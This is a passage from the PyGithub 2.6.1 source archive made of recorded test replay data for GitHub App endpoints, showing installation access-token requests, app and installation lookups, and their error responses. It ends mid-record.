X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('access-control-allow-origin', '*'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('x-frame-options', 'deny'), ('x-content-type-options', 'nosniff'), ('x-xss-protection', '0'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('x-github-request-id', "E475:53DD:8B7A89E:11E38A79:63571BB0"), ('vary', 'Accept-Encoding, Accept, X-Requested-With'), ('content-security-policy', "default-src 'none'")] [{"id":30614487,"account":{"login":"GithubApp-Test-Org","id":116723333,"node_id":"O_kgDOBvUOhQ","avatar_url":"https://avatars.githubusercontent.com/u/116723333?v=4","gravatar_id":"","url":"https://api.github.com/users/GithubApp-Test-Org","html_url":"https://github.com/GithubApp-Test-Org","followers_url":"https://api.github.com/users/GithubApp-Test-Org/followers","following_url":"https://api.github.com/users/GithubApp-Test-Org/following{/other_user}","gists_url":"https://api.github.com/users/GithubApp-Test-Org/gists{/gist_id}","starred_url":"https://api.github.com/users/GithubApp-Test-Org/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/GithubApp-Test-Org/subscriptions","organizations_url":"https://api.github.com/users/GithubApp-Test-Org/orgs","repos_url":"https://api.github.com/users/GithubApp-Test-Org/repos","events_url":"https://api.github.com/users/GithubApp-Test-Org/events{/privacy}","received_events_url":"https://api.github.com/users/GithubApp-Test-Org/received_events","type":"Organization","site_admin":false},"repository_selection":"selected","access_tokens_url":"https://api.github.com/app/installations/30614487/access_tokens","repositories_url":"https://api.github.com/installation/repositories","html_url":"https://github.com/organizations/GithubApp-Test-Org/settings/installations/30614487","app_id":243473,"app_slug":"gh-actions-test-ammar","target_id":116723333,"target_type":"Organization","permissions":{"issues":"write","metadata":"read","administration":"write","organization_administration":"read"},"events":[],"created_at":"2022-10-26T11:15:21.000Z","updated_at":"2022-10-26T11:36:34.000Z","single_file_name":null,"has_multiple_single_files":false,"single_file_paths":[],"suspended_by":null,"suspended_at":null},{"id":30614431,"account":{"login":"ammarmallik","id":29196434,"node_id":"MDQ6VXNlcjI5MTk2NDM0","avatar_url":"https://avatars.githubusercontent.com/u/29196434?v=4","gravatar_id":"","url":"https://api.github.com/users/ammarmallik","html_url":"https://github.com/ammarmallik","followers_url":"https://api.github.com/users/ammarmallik/followers","following_url":"https://api.github.com/users/ammarmallik/following{/other_user}","gists_url":"https://api.github.com/users/ammarmallik/gists{/gist_id}","starred_url":"https://api.github.com/users/ammarmallik/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ammarmallik/subscriptions","organizations_url":"https://api.github.com/users/ammarmallik/orgs","repos_url":"https://api.github.com/users/ammarmallik/repos","events_url":"https://api.github.com/users/ammarmallik/events{/privacy}","received_events_url":"https://api.github.com/users/ammarmallik/received_events","type":"User","site_admin":false},"repository_selection":"selected","access_tokens_url":"https://api.github.com/app/installations/30614431/access_tokens","repositories_url":"https://api.github.com/installation/repositories","html_url":"https://github.com/settings/installations/30614431","app_id":243473,"app_slug":"gh-actions-test-ammar","target_id":29196434,"target_type":"User","permissions":{"issues":"write","metadata":"read","administration":"write"},"events":[],"created_at":"2022-10-26T11:13:03.000Z","updated_at":"2022-10-26T11:13:03.000Z","single_file_name":null,"has_multiple_single_files":false,"single_file_paths":[],"suspended_by":null,"suspended_at":null}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GithubIntegration.testGetAccessToken.txt0000644000175100001660000001160514756101563026111 0ustar00runnerdockerhttps POST api.github.com None /app/installations/30614431/access_tokens {'Authorization': 'Bearer jwt_removed', 'Accept': 'application/vnd.github.machine-man-preview+json', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"permissions": {}} 201 [('status', '201 CREATED'), ('server', 'Github.com'), ('date', 'Mon, 24 Oct 2022 23:11:45 GMT'), ('content-type', 'application/json; charset=utf-8'), ('connection', 'keep-alive'), ('content-length', '1962'), ('etag', 'W/"b11a1c9caabe35f1de0a13e597a3022d27d2bff0694c2ccb5a65edc3b4d18837"'), ('cache-control', 'public, max-age=60, s-maxage=60'), ('vary', 'Accept'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('access-control-allow-origin', '*'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('x-frame-options', 'deny'), ('x-content-type-options', 'nosniff'), ('x-xss-protection', '0'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('x-github-request-id', "E475:53DD:8B7A89E:11E38A79:63571BB0"), ('vary', 'Accept-Encoding, Accept, X-Requested-With'), ('content-security-policy', "default-src 'none'")] {"token":"ghs_1llwuELtXN5HDOB99XhpcTXdJxbOuF0ZlSmj", "expires_at":"2024-11-25T01:00:02Z", "permissions":{"issues":"read","metadata":"read"}, "repository_selection":"selected"} https POST api.github.com None /app/installations/30614487/access_tokens {'Authorization': 'Bearer jwt_removed', 'Accept': 'application/vnd.github.machine-man-preview+json', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"permissions": {}} 201 [('status', '201 CREATED'), ('server', 'Github.com'), ('date', 'Mon, 24 Oct 2022 23:11:45 GMT'), ('content-type', 'application/json; charset=utf-8'), ('connection', 'keep-alive'), ('content-length', '1962'), ('etag', 'W/"b11a1c9caabe35f1de0a13e597a3022d27d2bff0694c2ccb5a65edc3b4d18837"'), ('cache-control', 'public, max-age=60, s-maxage=60'), ('vary', 'Accept'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('access-control-allow-origin', '*'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('x-frame-options', 'deny'), ('x-content-type-options', 'nosniff'), ('x-xss-protection', '0'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('x-github-request-id', "E475:53DD:8B7A89E:11E38A79:63571BB0"), ('vary', 'Accept-Encoding, Accept, X-Requested-With'), ('content-security-policy', "default-src 'none'")] {"token":"ghs_V0xygF8yACXSDz5FM65QWV1BT2vtxw0cbgPw", "expires_at":"2024-11-25T01:00:02Z", "permissions":{"organization_administration":"read","administration":"write","issues":"write","metadata":"read"}, "repository_selection":"selected"} https POST api.github.com None /app/installations/30614431/access_tokens {'Authorization': 'Bearer jwt_removed', 'Accept': 'application/vnd.github.machine-man-preview+json', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"permissions": {}} 201 [('status', '201 CREATED'), ('server', 'Github.com'), ('date', 'Mon, 24 Oct 2022 23:11:45 GMT'), ('content-type', 'application/json; charset=utf-8'), ('connection', 'keep-alive'), ('content-length', '1962'), ('etag', 'W/"b11a1c9caabe35f1de0a13e597a3022d27d2bff0694c2ccb5a65edc3b4d18837"'), ('cache-control', 'public, max-age=60, s-maxage=60'), ('vary', 'Accept'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('access-control-allow-origin', '*'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('x-frame-options', 'deny'), ('x-content-type-options', 'nosniff'), ('x-xss-protection', '0'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('x-github-request-id', "E475:53DD:8B7A89E:11E38A79:63571BB0"), ('vary', 'Accept-Encoding, Accept, X-Requested-With'), ('content-security-policy', "default-src 'none'")] {"token":"ghs_1llwuELtXN5HDOB99XhpcTXdJxbOuF0ZlSmj", "expires_at":"2024-11-25T01:00:02Z", "permissions":{"issues":"read","metadata":"read"}, "repository_selection":"selected"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GithubIntegration.testGetAccessTokenForNoInstallation.txt0000644000175100001660000000311614756101563031435 0ustar00runnerdockerhttps POST api.github.com None /app/installations/40432121/access_tokens {'Authorization': 'Bearer jwt_removed', 'Accept': 'application/vnd.github.machine-man-preview+json', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"permissions": {}} 404 [('status', '404 NOT FOUND'), ('server', 'Github.com'), ('date', 'Mon, 24 Oct 2022 23:11:45 GMT'), ('content-type', 'application/json; charset=utf-8'), ('connection', 'keep-alive'), ('content-length', '1962'), ('etag', '"b11a1c9caabe35f1de0a13e597a3022d27d2bff0694c2ccb5a65edc3b4d18837"'), ('cache-control', 'public, max-age=60, s-maxage=60'), ('vary', 'Accept'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('access-control-allow-origin', '*'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('x-frame-options', 'deny'), ('x-content-type-options', 'nosniff'), ('x-xss-protection', '0'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('x-github-request-id', "E475:53DD:8B7A89E:11E38A79:63571BB0"), ('vary', 'Accept-Encoding, Accept, X-Requested-With'), ('content-security-policy', "default-src 'none'")] {"message":"Not Found","documentation_url":"https://docs.github.com/rest/reference/apps#get-a-repository-installation-for-the-authenticated-app"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GithubIntegration.testGetAccessTokenWithExpiredJWT.txt0000644000175100001660000000316614756101563030656 0ustar00runnerdockerhttps POST api.github.com None /app/installations/30614431/access_tokens {'Authorization': 'Bearer jwt_removed', 'Accept': 'application/vnd.github.machine-man-preview+json', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"permissions": {}} 401 [('status', '401 UNAUTHORIZED'), ('server', 'Github.com'), ('date', 'Mon, 24 Oct 2022 23:11:45 GMT'), ('content-type', 'application/json; charset=utf-8'), ('connection', 'keep-alive'), ('content-length', '1962'), ('etag', 'W/"b11a1c9caabe35f1de0a13e597a3022d27d2bff0694c2ccb5a65edc3b4d18837"'), ('cache-control', 'public, max-age=60, s-maxage=60'), ('vary', 'Accept'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('access-control-allow-origin', '*'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('x-frame-options', 'deny'), ('x-content-type-options', 'nosniff'), ('x-xss-protection', '0'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('x-github-request-id', "E475:53DD:8B7A89E:11E38A79:63571BB0"), ('vary', 'Accept-Encoding, Accept, X-Requested-With'), ('content-security-policy', "default-src 'none'")] {"message":"'Expiration time' claim ('exp') must be a numeric value representing the future time at which the assertion expires","documentation_url":"https://docs.github.com/rest"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GithubIntegration.testGetAccessTokenWithInvalidData.txt0000644000175100001660000000304414756101563031044 0ustar00runnerdockerhttps POST api.github.com None /app/installations/30614431/access_tokens {'Authorization': 'Bearer jwt_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"permissions": "invalid_data"} 400 [('status', '400 BAD REQUEST'), ('server', 'Github.com'), ('date', 'Mon, 24 Oct 2022 23:11:45 GMT'), ('content-type', 'application/json; charset=utf-8'), ('connection', 'keep-alive'), ('content-length', '1962'), ('etag', 'W/"b11a1c9caabe35f1de0a13e597a3022d27d2bff0694c2ccb5a65edc3b4d18837"'), ('cache-control', 'public, max-age=60, s-maxage=60'), ('vary', 'Accept'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('access-control-allow-origin', '*'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('x-frame-options', 'deny'), ('x-content-type-options', 'nosniff'), ('x-xss-protection', '0'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('x-github-request-id', "E475:53DD:8B7A89E:11E38A79:63571BB0"), ('vary', 'Accept-Encoding, Accept, X-Requested-With'), ('content-security-policy', "default-src 'none'")] {"message":"Problems parsing JSON","documentation_url":"https://docs.github.com/rest/reference/apps#create-an-installation-access-token-for-an-app"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GithubIntegration.testGetAccessTokenWithInvalidPermissions.txt0000644000175100001660000000324214756101563032506 0ustar00runnerdockerhttps POST api.github.com None /app/installations/30614431/access_tokens {'Authorization': 'Bearer jwt_removed', 'Accept': 'application/vnd.github.machine-man-preview+json', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"permissions": {"test-permissions": "read"}} 422 [('status', '422 UNPROCESSABLE ENTITY'), ('server', 'Github.com'), ('date', 'Mon, 24 Oct 2022 23:11:45 GMT'), ('content-type', 'application/json; charset=utf-8'), ('connection', 'keep-alive'), ('content-length', '1962'), ('etag', 'W/"b11a1c9caabe35f1de0a13e597a3022d27d2bff0694c2ccb5a65edc3b4d18837"'), ('cache-control', 'public, max-age=60, s-maxage=60'), ('vary', 'Accept'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('access-control-allow-origin', '*'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('x-frame-options', 'deny'), ('x-content-type-options', 'nosniff'), ('x-xss-protection', '0'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('x-github-request-id', "E475:53DD:8B7A89E:11E38A79:63571BB0"), ('vary', 'Accept-Encoding, Accept, X-Requested-With'), ('content-security-policy', "default-src 'none'")] {"message":"The permissions requested are not granted to this installation.","documentation_url":"https://docs.github.com/rest/reference/apps#create-an-installation-access-token-for-an-app"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GithubIntegration.testGetApp.txt0000644000175100001660000000534414756101563024432 0ustar00runnerdockerhttps GET api.github.com None /app {'Authorization': 'Bearer jwt_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.machine-man-preview+json'} None 200 [('Date', 'Sun, 02 Aug 2020 04:57:48 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"76244215f77fc6f3d9262dea400b2567"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'C28A:25FE:11739F:15A3E5:5F2647CC')] {"id":75269,"slug":"pygithubtest","node_id":"MDM6QXBwNzUyNjk=","owner":{"login":"wrecker","id":4432114,"node_id":"MDQ6VXNlcjQ0MzIxMTQ=","avatar_url":"https://avatars2.githubusercontent.com/u/4432114?v=4","gravatar_id":"","url":"https://api.github.com/users/wrecker","html_url":"https://github.com/wrecker","followers_url":"https://api.github.com/users/wrecker/followers","following_url":"https://api.github.com/users/wrecker/following{/other_user}","gists_url":"https://api.github.com/users/wrecker/gists{/gist_id}","starred_url":"https://api.github.com/users/wrecker/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wrecker/subscriptions","organizations_url":"https://api.github.com/users/wrecker/orgs","repos_url":"https://api.github.com/users/wrecker/repos","events_url":"https://api.github.com/users/wrecker/events{/privacy}","received_events_url":"https://api.github.com/users/wrecker/received_events","type":"User","site_admin":false},"name":"PyGithubTest","description":"Sample App to test PyGithub","external_url":"https://pygithub.readthedocs.io","html_url":"https://github.com/apps/pygithubtest","created_at":"2020-08-01T17:23:46Z","updated_at":"2020-08-01T17:44:31Z","permissions":{"actions":"write","checks":"write","keys":"read","members":"read","metadata":"read","packages":"read","pages":"read","repository_hooks":"write","vulnerability_alerts":"read","workflows":"write"},"events":["check_run","check_suite","label","member","public"],"installations_count":1} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GithubIntegration.testGetAppInstallation.txt0000644000175100001660000000613614756101563027014 0ustar00runnerdockerhttps GET api.github.com None /app/installations/30614487 {'Authorization': 'Bearer jwt_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.machine-man-preview+json'} None 200 [('status', '200 OK'), ('server', 'Github.com'), ('date', 'Mon, 24 Oct 2022 23:11:45 GMT'), ('content-type', 'application/json; charset=utf-8'), ('connection', 'keep-alive'), ('content-length', '1962'), ('etag', '"b11a1c9caabe35f1de0a13e597a3022d27d2bff0694c2ccb5a65edc3b4d18837"'), ('cache-control', 'public, max-age=60, s-maxage=60'), ('vary', 'Accept'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('access-control-allow-origin', '*'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('x-frame-options', 'deny'), ('x-content-type-options', 'nosniff'), ('x-xss-protection', '0'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('x-github-request-id', "E475:53DD:8B7A89E:11E38A79:63571BB0"), ('vary', 'Accept-Encoding, Accept, X-Requested-With'), ('content-security-policy', "default-src 'none'")] {"id":30614487,"account":{"login":"GithubApp-Test-Org","id":116723333,"node_id":"O_kgDOBvUOhQ","avatar_url":"https://avatars.githubusercontent.com/u/116723333?v=4","gravatar_id":"","url":"https://api.github.com/users/GithubApp-Test-Org","html_url":"https://github.com/GithubApp-Test-Org","followers_url":"https://api.github.com/users/GithubApp-Test-Org/followers","following_url":"https://api.github.com/users/GithubApp-Test-Org/following{/other_user}","gists_url":"https://api.github.com/users/GithubApp-Test-Org/gists{/gist_id}","starred_url":"https://api.github.com/users/GithubApp-Test-Org/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/GithubApp-Test-Org/subscriptions","organizations_url":"https://api.github.com/users/GithubApp-Test-Org/orgs","repos_url":"https://api.github.com/users/GithubApp-Test-Org/repos","events_url":"https://api.github.com/users/GithubApp-Test-Org/events{/privacy}","received_events_url":"https://api.github.com/users/GithubApp-Test-Org/received_events","type":"Organization","site_admin":false},"repository_selection":"selected","access_tokens_url":"https://api.github.com/app/installations/30614487/access_tokens","repositories_url":"https://api.github.com/installation/repositories","html_url":"https://github.com/organizations/GithubApp-Test-Org/settings/installations/30614487","app_id":243473,"app_slug":"gh-actions-test-ammar","target_id":116723333,"target_type":"Organization","permissions":{"issues":"write","metadata":"read","administration":"write","organization_administration":"read"},"events":[],"created_at":"2022-10-26T11:15:21.000Z","updated_at":"2022-10-26T11:36:34.000Z","single_file_name":null,"has_multiple_single_files":false,"single_file_paths":[],"suspended_by":null,"suspended_at":null} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GithubIntegration.testGetGithubForInstallation.txt0000644000175100001660000002240714756101563030164 0ustar00runnerdockerhttp POST api.github.com None /app/installations/36541767/access_tokens {'Accept': 'application/vnd.github.machine-man-preview+json', 'Authorization': 'Bearer jwt_removed', 'User-Agent': 'PyGithub/Python-Test', 'Content-Type': 'application/json'} {"permissions": {}} 201 [('Server', 'GitHub.com'), ('Date', 'Mon, 19 Jun 2023 07:14:58 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '231'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"04bc8f50376b119ec74528a85ed2ca423635d43147beced32e7285a87ee752b4"'), ('X-GitHub-Media-Type', 'github.v3; param=machine-man-preview; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'D2F2:647B:BB00E92:BD3FE86:64900071')] {"token":"private_token_removed","expires_at":"2023-06-19T08:14:58Z","permissions":{"metadata":"read"},"repository_selection":"selected"} http GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python-Test'} None 200 [('Server', 'GitHub.com'), ('Date', 'Mon, 19 Jun 2023 07:14:58 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"96638f82d16c24c7ac6a39ec94c5019c8934df328cd2d704e9bca157a1fe1e75"'), ('Last-Modified', 'Mon, 19 Jun 2023 02:15:49 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4996'), ('X-RateLimit-Reset', '1687161558'), ('X-RateLimit-Used', '4'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D2FE:1E0C:D6EFF60:D92EFC2:64900072')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-06-19T02:15:49Z","pushed_at":"2023-06-18T23:07:29Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyG